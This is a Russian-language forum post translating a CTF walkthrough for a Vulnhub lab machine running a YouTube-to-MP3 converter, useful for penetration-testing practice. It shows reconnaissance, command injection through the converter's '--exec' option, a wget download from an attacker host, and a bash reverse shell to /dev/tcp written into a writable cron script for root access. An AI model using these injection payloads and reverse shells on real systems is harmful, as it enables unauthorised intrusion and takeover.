• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пошаговое руководство для работы с Vulnhub

lima8v4v

RAID-массив
Пользователь
Регистрация
28.07.2020
Сообщения
92
Реакции
284


В этой статье читатели ближе познакомятся с Vulnhub, его особенностями, положительными и отрицательными сторонами. Будет приведен практический пример использования этого полезного инструмента.

CTF — это один из популярных и, вероятно, интересных способов получить практический опыт тестирования на проникновение. В частности, речь идет о CTF от Vulnhub, который задействует все аспекты тестирования во время веб-проникновения, такие как атака на загрузку файлов. Пользователь способен зафиксировать запросы, поступающие из веб-приложения, и использовать их, чтобы попасть в машину жертвы.

Программа имеет средний уровень сложности, поэтому есть несколько мест, где пользователь может застрять. Следующий шаг в этом процессе не будет естественным и потребует личного вмешательства.
Скачать данный CTF можно, перейдя по ссылке.

Знакомство
Чтобы найти машину жертвы, на которой работает лаборатория CTF, пользователю следует ввести следующую комбинацию:

Код:
netdiscover

1-52.png


На предыдущем этапе человек пришел к выводу, что IP-адрес жертвы – 192.168.1.105.
Необходимо начать со сканирования IP-адреса и посмотреть, что человек может таким образом обнаружить. Агрессивное (а) сканирование nmap способно помочь пользователю получить представление о том, что все порты и службы работают на машине CTF.

Код:
nmap -A 192.168.1.105

2-45.png


Перечисление

На предыдущем шаге пользователь осознал, что порт 80 открыт, работает сервер Apache. Чтобы провести перечисление, стоит открыть веб-браузер и ввести IP-адрес машины жертвы в разделе URL. Таким образом пользователь поймет, что он может найти.

3-41.png


Теперь на картинке ниже можно увидеть кое-что интересное. Итак, здесь пользователь заметит, что это веб-приложение используется для преобразования видео с YouTube в формат MP3. Нужно разобраться, как именно это происходит. Burpsuite — это инструмент выбора здесь, так что стоит начать с burp proxy.
Пользователь готов фиксировать запросы, поступающие из этого веб-приложения, для проведения анализа. После вставки случайного URL-адреса YouTube в тестовое поле человек нажмет на кнопку «Сonvert» (конвертировать). После нужно активировать флажку перехвата «Intercept» и включить ее.

4-42.png


Чтобы увидеть ответ, пользователь отправит этот запрос.

5-41.png


Человек, кажется, получает ошибку, что любопытно, необходимо попробовать выяснить, что эта ошибка означает и к чему она его приводит. Пользователь копирует имеющиеся данные и вставляет в поисковик Google. Таким образом, он сможет понять, какие результаты были им получены.

6-40.png


Была получена ссылка на Github. Изучая ее, пользователь видит варианты того, какие дескрипторы команд могут быть приняты этим веб-приложением.

7-40.png


Применение

В этом инструменте есть опция, которую можно использовать в веб-приложении для выполнения команды.
Сейчас пользователь будет снова захватывать запрос и модифицировать аргумент, который «попался в плен». Используя опцию «–exec», чтобы запустить команду, человек способен увидеть, какие файлы он может получить.

Код:
--exec%3c'ls${IFS}-la'

8-38.png


В результате человек может увидеть index.php и его разрешения для данного пользователя.

Следующим шагом является создание файла Shell с помощью Python. Не стоит стесняться выбирать свой любимый обратный Shell Python, просто надо изменить IP и порт оболочки на необходимые данные атакующей машины, как это было сделано ниже.

9-35.png


Файл пользователя был создан, он включил сервер Рython на его атакующей машине, чтобы разместить файл Shell, который тоже только что был изменен.
В Burpsuite пользователь сможет снова выполнить захват запроса и изменить его для машины жертвы, чтобы загрузить файл Shell, используя ту же команду, которую он применял в прошлый раз для выполнения запроса на машине жертвы в сочетании с Wget.

Код:
--exec%3c'wget${IFS}http://192.168.1.112:8000/file.sh'

10-36.png


Операция прошла успешно, файл пользователя Shell Python был успешно загружен на машину жертвы.
Для проверки того, что человек сделал, будет использоваться команда ls-la.

Код:
--exec%3c'ls${IFS}-la'

11-36.png


Файл Shell пользователя находится в системе жертвы. Он готов и ожидает запуска, так что стоит продолжить и приступить к реальным делам.

Код:
yt_url=--exec%3c`bash${IFS}file.sh`

12-35.png


Листенер Netcat также готов и ждет обратного вызова Shell на атакующей машине. Пользователь получил то, что нужно!
Необходимо исследовать каталоги. Человек натыкается на каталог с именем “admin”, переходит к нему и открывает содержимое. Там пользователь видит, что существует файл с именем «flag.txt». Открыв его, человек получает свой первый флаг. Следующее, что нужно сделать, это найти файлы, которые могут быть записаны и будут принимать входные данные пользователя. Это позволит ему получить более высокие привилегии.

Код:
nc -lvp 1234
ls
cd admin
ls
cat flag.txt
find / -writeable -type d 2>/dev/null

13-35.png


Повышение привилегий
Пользователь находит каталог с именем “tmp”, с которым он может работать. Копаясь в “tmp” и перечисляя все скрытые файлы, человек обнаруживает, что существует файл Shell с именем «clean.sh». Теперь пользователь способен записать свой Shell-код в этот файл и использовать его, чтобы получить Shell с более высокими привилегиями. Используя echo, пользователь помещает свой Shell-код в файл.

Код:
cd tmp
ls -la
echo "bash -i >& /dev/tcp/192.168.1.112/8888 0>&1" > clean.sh

14-31.png


Теперь человек включит листенер Netcat и немного подождет. Этот шаг требует терпения, так как он может занять до минуты, чтобы информация вернулась к атакующей машине.

Код:
nc -lvp 8888
cd /root
ls
cat root.txt

15-29.png


Успех! Доступ получен!

Исследуя корневой каталог, пользователь находит файл с именем “root.txt”, открывает его, чтобы найти окончательный флаг. На этом заканчивается пошаговое руководство.

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх